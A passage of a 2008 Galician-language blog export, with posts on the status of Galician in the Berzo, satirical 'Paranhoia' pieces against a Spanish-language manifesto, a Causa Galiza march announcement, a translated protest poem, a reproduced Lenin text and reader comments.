Nesse texto, ainda em vigor, mas sem aplicar, o PP, o PSOE e o BNG reconheciam que a nossa língua tem ?tanta tradiçom histórica e tanto enraizamento? nestes territórios como na CAG, mas que ?o facto de pertencerem a outras comunidades autónomas produz umha situaçom deficitária no reconhecimento de direitos lingüísticos (...) e nas medidas de protecçom e promoçoms da língua galega?. Se o PP e o PSOE, que sempre mantenhem o discurso da unidade de ?Espanha? e de que eles som umha força espanhola, quer dizer, presente em todo o território do Estado espanhol e defendendo os mesmo critérios em todos os territórios, assinam em Compostela um texto destas características, será porque também o PP e o PSOE de Castela e Leom e o das Astúrias pensavam o mesmo? Lamentavelmente nom. O PGNL nom foi mais que fogos de artifício, fruto de um determinado contexto político galego, no qual parece que as três forças políticas concorriam por verem quem prometia mais cousas ?para a língua?, sabendo que todo ia ser só umha campanha de propaganda sem concreçom real.
Hoje, quatro anos depois de se ter aprovado aquele texto, nada ou praticamente nada mudou. Dos grandes objectivos que se marcavam nesta área, nengum foi levado avante, nem sequer se dérom os primeiros passos para o conseguir. ?Garantir a formaçom em língua galega nos centros de ensino das comunidades de fala galega de fora da Galiza?: som umha grande maioria os centros educativos nos quais nom se oferta a matéria de língua galega, e com certeza, nom há possibilidades de realizar estudos na nossa língua, nem em infantil, nem em primário, nem secundário nem, muito menos, na etapa universitária, onde o galego simplesmente nom existe. ?Criar espaços em que os habitantes de territórios galegófonos podam usar a sua língua em qualquer tipo de relaçom?: visto nos dias de hoje, parece umha brincadeira macabra, sem que nengum paso tenha sido dado neste sentido. ?Facilitar o acesso das pessoas destes territórios aos meios de comunicaçom públicos de Galiza?: o sinal de rádio e televisom da CRTVG recebe-se, nalguns lugares com dificuldade, mas estes meios nom prestam a mais mínima atençom a estes territórios na sua programaçom nom sendo anedoticamente, e com a chegada da televisom digital o mais provável e que se deixe de poder aceder à TVG nos territórios da faixa leste. ?Prestar a ajuda que estas comunidades demandem para o melhor connhecimento, conservaçom e progresso da língua que nos é comum?: se por isso se entende continuar a sufragar todos os gastos que cria a pequena presença da nossa língua no ensino, para que a Junta de Castela e Leom nom tenha umha escusa para nom renovar os convénios que permitem essa presença, isso sim, está conseguido. Mas com essa atitude só estamos potenciando que a Junta de Castela e Leom se desentenda do problema porque sabe que para isso está a ?Xunta?.
Outras propostas recolhidas no PGLN nom fôrom nem tratadas, consta-nos, nas reunions bilaterais entre as Juntas castelhano-leonesa e a galega, e hoje em dia quase nom sabemos se rir ou chorar ao lê-las novamente: ?recuperar as formas próprias na toponímia dos territórios de fala galega; implantar o ensino de língua galega, integrado no currículo académico, em todos os centros de ensino públicos do sistema nom universitário; que podam leccionar em galego os professores de qualquer ma¬téria, como forma de se prepararem para um eventual ensino superior em universidades galegas; lograr umha presença do galego no sistema escolar nom universitário que se aproxime da existente na Galiza; levar a cabo algumha campanha entre os comerciantes da zona para a galeguiza¬çom da rotulaçom, fazendo visível que estám num território de fala e cultura galega; iniciar conversas com as autoridades políticas das Astúrias e de Castela e Leom para facilitar a utilizaçom do galego na política municipal das áreas galegófonas; potenciar a presença do galego em revistas e publicaçons da zona, poderia-se pensar mesmo num periódico (...) editado em galego que se ocupe dos problemas, da realidade e das notícias da zona...? Enfim, águas de bacalhau. O que dizíamos, fogos de artifício para entreter incautos.
Quais som os maiores entraves para desenvolver iniciativas de promoçom do carácter galego dos territórios estremeiros? Que atitude tenhem as organizaçons, políticas, sindicais, sociais, presentes nesses territórios?
O problema da territorialidade é complicado em qualquer ponto que se apresente. Por exemplo, e recolhendo novamente a última polémica relacionada com a proposta de reforma do Estatuto do CAG feita polo BNG, em Castela e Leom o PP e o PSOE criticavam o BNG e o riscavam de ?imperalista?, ?agressivo? e nem sei quantas cousas mais por recolher nesse projecto umha proposta que aparece exactamente igual no Estatuto de Autonomia de Castela e Leom. Ainda mais: proposta semelhante aparecem em diversos estatutos de autonomia.
Devemos ter em conta, além do mais, que a questom da identidade ?regional? e a questom territorial em Castela e Leom estám muito vivas por diversos motivos. Em primeiro lugar, porque o sentimento de pertença a umha mesma comunidade autónoma, a um território unido no aspecto social, político, histórico, económico, sociológico... é praticamente inexistente. Umha explicaçom para isto é que umha comunidade autónoma como a que agora existe nom responde mais que a umha decisom política tomada de costas à populaçom deste território e sem base em nengum critério histórico, geográfico, cultural ou de qualquer outra índole, fruto de acordos e pactos da mal chamada ?Transiçom?. É evidente que a identidade comum que poda sentir um/umha habitante de Vila Franca do Berzo com um/umha de Monteagudo de las Vicarias em Sória, ou com um/umha de Horcajo de Montemayor em Salamanca, ou de Ortigosa del Monte, em Segóvia, dado que nom existe historicamente, é bem complicada de inventar. Umha prova é a necessidade que tivo a própria Junta de Castela e Leom de criar umha fundaçom, a Fundaçom Villalar, para tentar gerar (artificialmente, folga dizê-lo), umha tal identidade comum nesta comunidade.
Mais um aspecto a ter em conta é o dos diversos conflitos territoriais que existem dentro da CACeL. De umha parte, o ?leonesismo?, pretende umha comunidade autónoma leonesa, com base nas três províncias que eles consideram historicamente formantes do reino leonês: Leom, Zamora e Salamanca. De outra, existe o conflito de Trebinho: território basco gerido pola Junta de Castela e Leom, que em ocasions é empregado como escusa para nom avançar no reconhecimento oficial da língua galega no Berzo e a Seabra. Reconhecer direitos à língua galega e aos seus e às suas falantes, implicaria também reconhecer o direitos para o euskera e os seus e as suas falantes em aqueles territórios. E já sabemos qual é a ?política oficial? a respeito de Euskal Herria. E neste tema tanto tem falarmos do PP como do PSOE.
Muitas vezes ao falarmos do Berzo, esquecemos que este fai parte de umha comunidade autónoma tam extensa e com graves problemas de coesom. Esta é a mesma comunidade autónoma que a de Burgos, Segóvia, Sória ou Palência. E ainda, por citarmos outro exemplo de conflito territorial, temos que citar a existência de um castelhanismo que é contrário à partiçom da sua naçom, Castela, em, como mínimo, três comunidades autónomas: Castela e Leom, Castela-A Mancha e Madrid.
Portanto, o tema da identidade do Berzo é visto dentro da CACeL tendo em conta o panorama descrito. Ainda temos que acrescentar que o leonesismo, quando menos o política e socialmente maioritário, ainda sendo umha pequena força, é profundamente antigalego, e nega nom só a identidade galega do Berzo, mas a própria existência da língua e cultura galegas como autóctonas do Berzo, cousa comumente aceite por todos os estudos filológicos sérios de qualquer universidade ou centro de estudos.
Assim as cousas, os maiores obstáculos para desenvolver as nossas iniciativas, além das nossas próprias (in)capacidades, é ter que fazer frente a um ambiente hostil no político e no mediático, mas também muitas vezes no terreno social: nos sindicatos, em diferentes organizaçons e movimentos sociais, etc... Se na CAG hoje em dia é completamente normal que as organizaçons sindicais, por exemplo, empreguem o galego tanto interna como externamente, aqui seria completamente extraordinário, pois nengum sindicato se dirige à sua filiaçom das zonas marcadamente galegófonas em galego. Ainda continua vigente em muitos sectores autodenominados ?progressistas? ou ?de esquerda? o discurso rançoso, caduco e alienado do espanholismo. Frases como ?o nacionalismo é um invento da pequena burguesia para dividir a classe trabalhadora?, ou ?os obreiros nom tenhem pátria?, e cousas semelhantes, som habituais. O desprezo pola realidade lingüística e cultural do Berzo é ainda normal, porque se pretende umha uniformidade nesse terreno que já sabemos de onde provém. Como já sabemos, som esses sectores da ?esquerda?, que pretendem adequar a realidade aos seus postulados, e nom ao revés.
É possível a construçom de umha alternativa independentista galega de esquerdas no Berzo?
Com certeza, a única resposta possível é sim. É possível a construçom dessa alternativa porque é necessária. Mas isso nom significa que seja ineludível a construçom dessa força. Os entraves, os impedimentos, as dificuldades para sermos capazes de construir essa força nom som maiores nem mais complicados de solventar que os que podam existir na CAG: serám parcialmente diferentes, mas mais nada. É tam complicado construir um espaço político e social independentista e de esquerda no Berzo como fazê-lo no Barco de Valdeorras ou em Camarinhas, por exemplo. Em primeiro lugar, depende das nossas capacidades, dos nossos recursos, das nossas forças; quer dizer, de nós mesmos e mesmas. Aqui vivemos umha situaçom diferente, certo, por estarmos sob umha administraçom diferente à da maioria do território da nossa naçom, mas nom esqueçamos que tam espanhola é a administraçom da CAG como a da CACeL. Ambas fam parte do tecido instituicional e político do Estado espanhol, ambas respondem aos interesses da classe dominante, e ambas tenhem o mesmo interesse em defender os privilégios dessa classe dominante frente aos direitos do povo trabalhador.
Galiza nom é só a CAG, do mesmo modo que a CAG nom é Galiza. Se no Berzo, e nos outros territórios da faixa leste, há um grande trabalho por fazer, nom é menos certo que na CAG há também um imenso trabalho para pôr na ordem do dia da acçom das forças políticas e sociais o tema da territorialidade. Avançar numha margem da raia sem avançar na outra é impossível. Construir na CAG umha força soberanista que nom tenha em conta a unidade territorial, seria um suicídio. Procurar construir no Berzo umha força realmente de esquerda que nom inclua este tema, é seguir avançando por um caminho impossível: o da legitimaçom da ?Transiçom?.
Depois de "Paranhoia, O Manifesto", "Paranhoia, O Intelectual", e "Paranhoia, O Filme", chega por fim a versom musical de tam esperado espectáculo mediático: Paranhoia Superstar, O Musical.
Na maior operaçom facha da História, ou da histéria, mais de cem mil paranhoicos actores e actrizes dam vida a este espectácular espectáculo de promoçom do direito à ignoráncia e à intoleráncia como método principal de participaçom democrática. Com letra de Fernando Savater e música de Rosa Diez, esta co-produçom hispano-espanhola, na que participam, entre otras entidades, o PP, a UPyD, El Mundo de Pedrojota, La Razón que produze monstros, e outras grandes entidades autodenominadas nom-nacionalistas, pretende fazer-se um oco na vida político-cultural das nossas cidades, vilas e aldeias.
Recomendamos pôr especial atençom à estrea mundial como intelectuais de grandes homes da língua, a cultura e o pensamento, como Iker Casillas, Luis Aragones, Cayetano Rivera Ordóñez, e todo assim...
Obrigado, Demo.
Bruno, o espectacular espectáculo chegará a Ponferrada, chegará. Só temos que aguardar… Já verás.
Concha, muito boa a ideia. Vai ser umha das cançons deste verao em todas as disco-tascas. Deverias madnar-lhe a ideia ao Xurxo Souto, ou gravá-la para o Apologhit ;)
Adoro a série das PARANHOIAS…
E como ficaria aquela que diz:
La paranhoia
La paranhoia
já não pode caminhar…
porque lhe falta porque lhe falta…
uma Língua mais global…
Non podo perderme o espectaculo
ten unha pinta estupenda
vai vir a Ponferrada? a o Auditorio o a o teatro Bergidum?mantenme informado eu so por ver a esa gran homme que e Iker Casillas fago calquera cousa¡
bicos e apertas
Gosto muito desta série de “paranhoias”
----- -------- AUTHOR: Lugris TITLE: 25 de Julho, Dia da Pátria BASENAME: 25_de_julho_dia_da_patria DATE: Tue, 15 Jul 2008 16:05:48 +0000 STATUS: publish PRIMARY CATEGORY: Gz é bem pequena CATEGORY: TAGS: ----- BODY:Causa Galiza, plataforma social ampla e de esquerda em favor da autodeterminaçom, anima os e as soberanistas a participarem na manifestaçom que convoca para o 25 de Julho, Dia da Pátria, que vai partir às 13:30 horas da Alameda de Compostela sob a legenda ?Soberania nacional?. Por segundo ano consecutivo, Causa Galiza organiza a marcha unitária da esquerda soberanista e independentista.
Numha conferência de imprensa com a presença de Pedro Alonso e Charo Lopes, integrantes da Portavozia da Causa Galiza, o colectivo apresentou hoje, na Galeria Sargadelos de Compostela, a manifestaçom que convoca este 25 de Julho, mais um ano, a todo o soberanismo de esquerdas galego. A cita vai ser às 13:30 na Alameda compostelana, e ao rematar a mesma vai realizar-se um jantar no parque de Belvis.
Charo Lopes destacou a ?necessidade de estender os possicionamentos do movimento soberanista perante o debate estatutário?, já que este é ?cativo? e com a agenda ?marcada por Espanha?, carente de auténtico debate. Por esta razom, um dos objectivos da Causa Galiza é contribuir, mediante a difussom das assembleias comarcais, a esse debate que se revela necesario para o país.
Pola sua banda, Pedro Alonso sublinhou que no actual contexto na Galiza, com ?ataques como o TAV, as agressons ao sector pesqueiro, ENCE?, o único caminho é ?um discurso coerente em defesa do direito de autoderminaçom?. Assim, ?Causa Galiza considera preciso que no Dia da Pátria se fale claro sobre soberania nacional?. Também afirmou que ?a crise que a acçom de governo nom freia pode ter consequencias mui duras para a clase trabalhadora galega? e lembrou que a Causa Galiza vai estar dedicada ?à defesa activa da nossa realidade nacional em todos os ámbitos?.
Causa Galiza entende que a consecuçom do reconhecimento legal da nossa realidade nacional e de um grau de bem-estar só é possível a partir de um quadro jurídico-político próprio. Torna-se mais necessário do que nunca assumir e espalhar umha consciência crítica a respeito da realidade que nos rodeia. Denunciar activamente as desigualdades sociais que apresenta o omnipotente e omnipresente capitalismo, assumirmos a volta a umha resistência activa e firme da nossa língua, cultura, territorialidade, meio natural? como cerne de um processo real de afirmaçom e autodeterminaçom nacional. Devemos, pois, hastear umha vez mais a bandeira da estrela vermelha.
----- -------- AUTHOR: Lugris TITLE: Paranhoia, o filme BASENAME: paranhoia_o_filme DATE: Sat, 12 Jul 2008 22:28:32 +0000 STATUS: publish PRIMARY CATEGORY: Eu também desenhar CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! CATEGORY: Paranhoia TAGS: ----- BODY:Apresentamos em exclusiva o cartaz do filme "Paranhoia, o manifesto dos valentes".
Tal e como informam diversos confidenciais electrónicos nos últimos dias aos que pudemos ter acceso, num princípio, a ideia era fazer umha grande superproduçom espectácular hollywodense, mas finalmente, e continuando com a "melhor" tradiçom "friki-cañí" espanhola, o produto final será umha dessas películas que Antena 3 emite aos meiodias.
O reparto foi variando a medida que ia evoluindo cara tras a ideia da superproduçom. Assim, o primeiro actor no que se pensou para interpretar o papel de Fernando Savater foi Sean Penn, mas finalmente o papel recairá bem em Fernando Esteso, bem em Antonio Ozores. A própria Rosa Diez exigira que para o seu papel se contratara a Sarah Jessica Parker, mas os contínuos recurtes do orçamento som os responsaveis de que o papel final recaia em Raquel Mosquera. Pola sua banda, Albert Boadella, que mostrara a sua predilecçom por ser interpretado por Rocco Siffredi, aceitou sem problemas que o seu papel seja assumido por Nacho Vidal, que pretende dar um giro à sua carreira com este filme. Mario Vargas Llosa ainda nom tem assinado o permiso para usar o seu nome no filme, à espera de solventar a quantidade económica a perceber, mas todas as nossas fontes bem informadas dam por seguro que o seu papel será feito por outro grande intelectual: Pocholo Martínez Bordiu.
Os outros papeis ainda estám sem concretar, ou quando menos nom se tem filtrado informaçom ao respeito, mas se as nossas leitores e os nossos leitores querem, podem deixar as suas sugestons neste foro, que nós lhas faremos chegar aos produtores, lá em Madrid.
Eu tinha dez meninhos
Santiago Alba Rico
Trad. Igor Lugris
Eu tinha dez meninhos,
Um nasceu em Tucumán, novo como o abrente. O papá FMI embalava-o entre os seus braços: ?o pam que agora che tiro dentro de cem anos será caviar?. Nom morrreu só de fame, nom, mas de vida pobre.
Nom tenho mais que nove.
Dos nove que ficavam, um nasceu em Tulkarem. Suicidou-se umha manhá na sua casa, contra um míssil israeliano, emquanto molhava num copo de água a ponta ressessa dum biscoito.
Nom tenho mais que oito.
Dos oito que ficavam, um nasceu no Senegal. Con trinta dentes e umha patera quijo invadir Gibraltar e para se afogar sem entraves abandonou entre as ondas o seu único joguete.
Nom tenho mais que sete.
Dos sete que ficavam, um nasceu no Afeganistám. Agachava-se baixo um farrapo e um cartom, mas Deus, que estava na Florida, viu-no, bramou e lhe guindou por cima um ácio de centelhas para bendecir aos seus reis.
Nom tenho mais que seis.
Dos seis que ficavam, um nasceu em Basora. Arrecendia a flores de urânio, bebia nectar de cravos, caidos desde o Olimpo, e lhe apodreceu a cara e se lhe derretiu um pulmom. Pediu permissom para se curar, mas denegou-lho, lá muito longe, o pai gringo.
Nom tenho mais que cinco.
Dos cinco que ficavam, um nasceu em Guatemala. O tio Nestlé tirou-lhe o leite, a cunhada Vivendi a água, o curmao Monsanto o milho, o avó Bayer as vacinas e o colega Enron a lámpada. Um canhom tirou-lhe a terra e um juiz a casa e depois chegou o governo e dixo: ?Tu o que tes é muito teatro?
Nom tenho mais que quatro.
Dos quatro que ficavam, um nasceu em Medelhim. Atulhado de cola, lambedor de escaparates, o gamín deambulava por um centro comercial; e como nom podia compar o seus sapatos, um grande senhor comerciante disparou-lhe entre os dentes e o pendurou do revês.
Nom tenho mais que três.
Dos tres que ficavam, um nasceu no Congo. Inservível para extrair coltan, por um dolar ao dia vigilado polos três exércitos, dobregou a cabeça e, porque assim lho exigiam os balanços da Companhia, o capataz o desintegrou.
Nom tenho mais que dous.
Dos dous que ficavam, um nasceu no Viet Nam. Nasceu com umha perna de pau e com pé esquerdo, e enquanto curtava umhas canas, pisou umha das minas que plantou onte o Tio Sam e que hoje se nega a tirar, e da sua perna de pau e do seu pé esquerdo nom quedou rasto nengum.
Nom tenho mais que um.
O último que ficava nasceu em Madrid (ou em Valência ou em Euskadi, nem sei). Este, que nom tinha fame nem frio nem sede nem enfermidades nem medo dum missil, tinha porém a cabeça desperta e a moral kantiana e protestou pola sorte dos seus noves irmaos.
Daquela chegou a polícia, atou-lhe as maos, bateu-lhe no lombo, encarcerou-no e condenou-no a jejum.
Já nom tenho nengum.
(Mas das minhas lágrimas, como das pedras de Deucaliom, nasceram milheiros de cuates, meninhos, gamines e garotos. Florência, mamá de Itália, acava de parir um milhom. E a mae Caracas e Lima e Manágua e Barcelona e Lisboa e Califórnia e a França e a Alemanha e a Interpátria toda, mamíferas de justiça e de razom, estám a dar a luz novas ninhadas para as escolas abertas da resistência total.)
A partir do já classico e popular conto infantil d'Os dez negrinhos, Santiago Alba Rico escreveu a sua versom intitulada "Diez niñitos", lá por Novembro de 2002, e que foi amplamente reproduzida por muitas e diversas e plurais webs.
Na passada semana, um bom amigo e companheiro, practicamente um camarada, enviou-ma por correio electrónico, e a mim seguiu-me a parece rtam útil, necessária e boa como entom, e nom me puidem resistir a intentar umha traduçom/umha versom.
Aguardo que gostedes dela.
E já sabedes o que digo sempre: cópia, fotocópia, distribue... Todo é de todos/as.
A imagem, é um desenho dumha meninha da Palestina, Sara Atrash, que tinha cinco anos na altura.
----- -------- AUTHOR: Lugris TITLE: Para ver/ler em Cabanas Raras BASENAME: para_ver_ler_em_cabanas_raras DATE: Wed, 09 Jul 2008 14:07:34 +0000 STATUS: publish PRIMARY CATEGORY: Para Ver Ler CATEGORY: Escrever nom é mau CATEGORY: Cousas por cá CATEGORY: Gz é bem pequena TAGS: ----- BODY:Com este cartom postal, que reproduze o desenho feita com o poema Casa Skylab, anunciamos que o dia 21, estaremos com o nosso recital, com a nossa exposiçom, "Poesia para ver, Poesia para ler", em Cabanas Raras, no Bierzo, com motivo das festas da nossa aldeia, as festas de santa ana ; )
"Poesia_para_ver/Poesia_para_ler" é um projecto que procura novos caminhos de expressom, novas formas de contacto com o público/leitor, convertindo o poema num objecto plástico que se poda ao tempo ler e ver, recitar e expor, num intento de achegar a poesia, e a literatura em geral a novos públicos, intentando romper o muro que separa a criaçom da vida cotiá. O resultado: poemas/cartazes que perfeitamente podem decorar as paredes dumha casa, dumha oficina, dum bar, dumha rua....
E, exclussiva mundial, em Setembro, para quem nom poda achegar-se até Cabanas Raras nesse dia, estarei, sem nom há novidades que nom o permitam, num famoso e estupendo festival da poesia que se celebra no sul da nossa naçom.
Até.
Casa Skylab
Quando se nega o dia a escalar o corpo dos altos edifícios
mostrando fragmentos de estrelas proibidas
onde a penas existem feridas que se esquecem
porque nos arrodean os poldros perdidos da brétema
Alta cidade tinguida pola névoa
Na cidade chove em amarelo
umha água fresca que me encelma a língua
e umha música lonxana esvaendo-se
Desde a opaca pátina do balcom pechado
no abissal fundo dos oceanos
venhem lentas as fías dos remorsos
No meio da rua
grosseira inculta e pouco delicada
em um jardin que tarde ou cedo há engolir o asfalto
memória do que queremos esquecer
ainda há algo a reclamar-nos
Som tempos de olhar a chuva
invernía no lento fluír dos almanaques
Será a emoçom quanto vale nesta terra?
De cada cidade agroma o aroma dum mistério
fronte ao mar equivocado
Como sei que ti e eu nos queremos
* O poema é meu, o título de Santiago Jaureguizar e os versos de: Celso Álvarez Cáccamo, Luisa Villalta, Miro Villar, Anxo Angueira, Xohana Torres, Fran Alonso, Antón Avilés de Taramancos, Xosé Luís Santos Cabanas, Yolanda Castaño, José Alberte Corral Iglesias, Ana Romani, Emma Couceiro, Lois Pereiro, Pilar Pallarés, Marta Dacosta, X. Antón L. Dobao, Eduardo Estévez, Carlos Negro, Estíbaliz Espinosa, Alberte Momán, Franck Meyer, Maria Lado.
----- -------- AUTHOR: Lugris TITLE: É necessária umha língua comum? BASENAME: e_necessaria_umha_lingua_comum DATE: Wed, 09 Jul 2008 06:13:19 +0000 STATUS: publish PRIMARY CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! TAGS: ----- BODY:Já som vários os artigos e comentários críticos ao "Manifesto Paranhoico", dos intelectuais hispanho-espanholíssimos que tenhem aparecido pola rede.
Eu hoje, quero recolher este. Já tem algum tempo, e muita gente já o terá lido, mas nom está de mais recordá-lo, porque sigue conservando plenamente a vigência e aportando claridade.
Para quem nom tenha tempo, humor ou ganhas de fazer click na ligaçom, colo-o aqui.
Saúde, Língua e boa leitura.
É necessária umha língua oficial obrigatória?
Tirado de: www.primeiralinha.org
Biblioteca Marxista em Galego
V. I. Lenine
Publicado em "Proletárskaya Pravda", número 14, de 18 de Janeiro de 1914
Os liberais diferenciam-se dos reaccionários em que, quando menos, reconhecem à escola primária o direito de ensinar na língua materna. Mas coincidem por completo com os reaccionários em que deve haver umha língua oficial obrigatória.
O que é que significa a língua oficial obrigatória? Significa, na prática, que a língua dos russos, que constituem a minoria da populaçom da Rússia, é imposta a toda a restante populaçom do pais. O ensino da língua oficial deve ser obrigatória em cada escola. Todos os assuntos oficiais serám expedidos obrigatoriamente na língua oficial e nom no idioma da populaçom local.
Como justificam a necessidade dumha língua oficial obrigatória os partidos que a defendem?
Os "argumentos" dos ultrarreaccionários som, naturalmente, concissos: há que meter num punho todos os alógenos e nom os deixar se "indisciplinarem". A Rússia deve ser indivisível e todos os povos devem subordinar-se ao princípio russo, pois os russos fôrom, segundo eles, os construtores e unificadores da terra russa. Por isso, a língua da classe dominante deve ser a língua oficial obrigatória. Os senhores Purishkvich nom seriam inclusive contra a proibiçom em geral dos "dialectos de cans" em que fala quase 60% da populaçom nom russa da Rússia.
A posiçom dos liberais é muito mais "culta" e "subtil". Som partidários de que se permita em certos limites (por exemplo, na escola primária), a língua materna. Mas, ao mesmo tempo, defendem a obrigatoriedade da língua oficial. Isto, dim, é necessário em interesse da "cultura", em interesse da Rússia "umha" e "indivisível", etc.
"A organizaçom estatal é a afirmaçom da unidade cultural... Da cultura do Estado fai parte ineludivelmente a língua oficial. A organizaçom estatal baseia-se na unidade de poder, e a língua oficial é um instrumento dessa unidade. A língua oficial tem a mesma força coercitiva e obrigatória geral que todas as outras formas de sistema estatal...
"Se a Rússia esta predestinada a ser umha e indivisível, há que defender com firmeza a conveniência oficial da língua literária russa".
Tal é a filosofia típica do liberal no que di respeito à necessidade da língua oficial.
As palavras que citamos fôrom tomadas dum artigo do senhor S. Patrashkine, publicado no número 7 do periódico liberal Den. Por motivos plenamente compreensíveis, o ultrarreaccionário Nóvoe Vremia recompensou com um suculento beijo o autor de tais pensamentos. O senhor Patrashkine expom aqui "pensamentos completamente sensatos", declara o jornal de Ménshikhov (núm. 13588). Os ultrarreaccionários elogiam também constantemente o nacional-liberal Rússkaya Misl por semelhantes pensamentos sensatos. E como nom louvá-lo, se os liberais difundem com ajuda de argumentos "culturais" o que tanto agrada aos de Nóvoe Vremia.
A língua russa é grande e poderosa, dim-nos os liberais. Será possível, entom, que nom queiram vocês que conheçam esta língua grande e poderosa quantos vivem em qualquer confim da Rússia?. Será que nom vem que a língua russa enriquecerá a literatura dos povos alógenos, permitindo-lhes fazer seus os grandes valores culturais, etc.?
Todo isso é exacto, senhores liberais, respondemos-lhes. Sabemos melhor do que vocês que a língua de Turguénev, de tolstói, de Dobroliúbov e de Chernishevski é grande e poderosa. Queremos mais do que vocês que entre as classes oprimidas de todas as naçons sem distinçom que povoam a Russia se estabeleça a comunicaçom mais estreita e a unidade mais fraternal. E somos partidários, com certeza, de que cada habitante da Rússia tenha a possibilidade de aprender a grande língua russa.
Mas nom queremos umha cousa: o elemento de coerçom. Nom queremos que a gente seja levada ao paraíso a pancadas. Porque por muito belas que sejam as suas frases sobre a "cultura", a língua oficial obrigatória vai associada à coerçom, à implantaçom forçosa. Consideramos que a grande e poderosa língua russa nom necessita que ninguém deva estudá-la à força. Estamos convencidos de que o desenvolvimento do capitalismo na Rússia e, em geral, a marcha da vida social, conduzem à aproximaçom recíproca de todas as naçons. Centenas de milhares de pessoas deslocam-se dumha ponta da Rússia à outra, os povos mesclam-se, e o isolamento e a rotina nacionais devem desaparecer. Quem necessita, polas suas condiçons de vida e de trabalho, saber o russo, aprenderá-o sem necessidade do pau. A coerçom (o pau) só conduzirá a umha cousa: dificultará a penetraçom da grande e poderosa língua russa noutros grupos nacionais e, o que é o principal, acirrará a hostilidade, criará um milhom de novas fricçons, aumentará a irritaçom, a incompreensom mútua, etc.
Quem necessita isso? O povo russo, a democracia russa nom o necessitam. O povo russo nom reconhece nengumha opressom nacional, nem sequer "em interesse da cultura e da organizaçom estatal russas".
Daí os marxistas russos considerarmos preciso: que nom haja umha língua oficial obrigatória, que se assegure à populaçom escolas com ensino em todos os idiomas locais e que se inclua na Constituiçom umha lei fundamental declarando abolidos todos os privilégios dumha naçom, quaisquer que forem, e todas as infracçons dos direitos da minoria nacional...
----- -------- AUTHOR: Lugris TITLE: Intelectual paranhoico BASENAME: intelectual_paranhoico DATE: Sat, 05 Jul 2008 23:23:48 +0000 STATUS: publish PRIMARY CATEGORY: Eu também desenhar CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! CATEGORY: Para Ver Ler CATEGORY: Paranhoia TAGS: ----- BODY:Apresentamos em exclussiva umha imagem, conseguida com cámara oculta, que mostra o momento no que um Intelectual Paranhoico, influido sem dúvida algumha pola banda dos autodenominados "20 intelectuais", exerce o seu democrático direito a impor livremente o uso da língua comum e universalmente oficial.
----- COMMENT: AUTHOR: manuel [Membro] DATE: Tue, 08 Jul 2008 10:53:26 +0000 URL: https://www.rtp.pt/play/direto/antena1fadoAtão, cumpádris, um intelectuáli é quem leva cacete pra dar cacetadas? Ah! Nã sabia. Brigado.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Sun, 06 Jul 2008 13:27:10 +0000 URL: http://oportodosescravos.blogspot.comEste ten o seu ponto freak, pero penso que é mesmo mellor que o outro. Case escacho coa risa.
----- -------- AUTHOR: Lugris TITLE: Parañoia BASENAME: paranoia DATE: Fri, 04 Jul 2008 15:52:03 +0000 STATUS: publish PRIMARY CATEGORY: Eu também desenhar CATEGORY: Estam tolos estes espanhois CATEGORY: Stop hipocrisia! CATEGORY: Para Ver Ler CATEGORY: Paranhoia TAGS: ----- BODY:Já sabes: cópia, cola, distribue... Se queres, por suposto!
----- COMMENT: AUTHOR: Carvalhais [Visitante] DATE: Mon, 07 Jul 2008 23:34:40 +0000 URL: http://memoriasdumesquelete.blogspot.comJá nom é a primeira vez que entro neste blogue, cada dia umha grata surpresa. Parabéns!
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Fri, 04 Jul 2008 17:48:26 +0000 URL: http://oportodosescravos.blogspot.comXenial, meu, en canto teña un anaco falarei do tema e empregarei a imaxe.
----- COMMENT: AUTHOR: Concha Rousia [Visitante] DATE: Fri, 04 Jul 2008 16:14:35 +0000 URL: http://rousia.hi5.comIgor, caro
Como sempre genial…!
Abraço
Agora que anda esse grupelho de hispano-espanhois dando a murga com um novo manifesto surrelista, ou esquizofrénico, tal vez até mesmo paranoico (e nom vou pôr a ligaçom para nom fazer-lhes publicidade), no que dim, ou ainda melhor, no que mintem, dizendo que o espanhol corre grave perigo por causa das "lenguas regionales", reflexiono em voz alta, e penso:
Quantos rapazes e/ou rapazas espanhol falantes, de famílias espanhol-falantes, residentes na Galiza existem que tenham chegado ao sistema educativo e aos tres, quatro ou cinco messes se tenham convertido, ante o asombro dos seus pais e maes, em galego-falantes? Quantos rapazes e ou rapazas espanhol falantes, de cinco, seis, sete anos, entram falando espanhol à escola em Setembro, e no mês de Dezembro ou Janeiro, começam a castrapear, e já em Junho ou Julho falam maioritariamente em galego, quando na sua casa só se fala em espanhol? Quantos casos assim existirám? Cem, douscentos, trescentos...? Mil, cinco mil? Um milhom?... Ah!, como di vostede? Nengum? Mas nengum, nengum? Nem o primeiro? Nem qualquer cousa que se lhe asemelhe?
Bom, tanto tem, já se encarregarám os meios de (des)comunicaçom espanhois de dizer que várias dúzias, ou vários centos, e entrevistarám aos pais dum cativo, ou cativa, que caiu dum colúmpio dumha galescola.
Merda de hispano-espanhois!!!
----- -------- AUTHOR: Lugris TITLE: Divertimento via Porto... BASENAME: divertimento_via_porto DATE: Thu, 03 Jul 2008 06:22:10 +0000 STATUS: publish PRIMARY CATEGORY: Escrever nom é mau CATEGORY: Cousas por aí CATEGORY: Músicas TAGS: ----- BODY:Quando o colectivo galego-português de músicos e artistas que se fai chamar 1226 editou na rede o seu primeiro trabalho, aquel mítico "Nom somos nós", que encheu as pistas de baile de tascas, pubs e muitas discotecas, ninguém pensava que poderiam chegar a reorientar a sua criaçom até linhas mais underground. Em "desejar a felicidade", experimentam. Experimentam com sons primitivos, botando mao de textos de carácter iniciático, na procura dum novo caminho que os afaste da imagem de grupo amável e simples. O resultado final, é um disco ecléctico, cheio de propostas inclasificáveis, mas que será, igual que o anterior, todo um top-ten, nas nossas listas de músicas mais escuitadas. O disco inclue, como bonus-track, a versom da "Carolina", recolhida ao vivo no seu concerto o ano passado no Festival do Norde, com a colaboraçom da Tarabelo Sound System, e que este ano enviarom ao concurso organizado pola Rádio Galega e Vieros, Apologhit, como proposta de cançom do verao. Eu já lhes votei.
Recolho a proposta de divertimento feita polo Mario.
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 03 Jul 2008 12:16:25 +0000 URL: http://oportodosescravos.blogspot.comEu sempre fun moi seguidor dos 1226, tou desexando escoitar esa versión ao vivo da Carolina!!!
